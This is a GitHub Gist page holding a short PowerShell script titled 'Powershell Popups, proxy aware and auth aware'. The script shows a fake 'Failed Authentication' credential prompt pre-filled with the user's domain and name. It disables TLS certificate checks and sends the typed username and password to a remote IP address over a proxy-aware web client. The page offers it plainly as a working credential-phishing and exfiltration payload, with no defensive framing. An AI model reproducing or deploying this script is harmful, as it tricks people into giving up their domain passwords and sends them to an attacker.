-
-
Save 0x4243/6d182e6fdf02281da57bc3940f23a60f to your computer and use it in GitHub Desktop.
Powershell Popups, proxy aware and auth aware
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
$wc = new-object net.webclient; | |
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
$result = $wc.downloadstring('https://172.16.102.163'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment